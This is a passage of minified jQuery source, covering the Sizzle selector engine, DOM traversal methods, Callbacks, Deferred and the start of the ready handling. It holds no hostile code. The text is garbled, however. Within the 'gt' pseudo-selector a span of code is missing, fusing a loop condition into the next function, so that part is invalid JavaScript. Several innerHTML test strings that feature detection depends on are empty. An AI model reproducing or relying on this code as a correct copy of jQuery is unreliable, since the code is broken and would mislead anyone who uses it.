a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?la(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ca,da),a[3]=(a[3]||a[4]||a[5]||"").replace(ca,da),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ca,da).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return 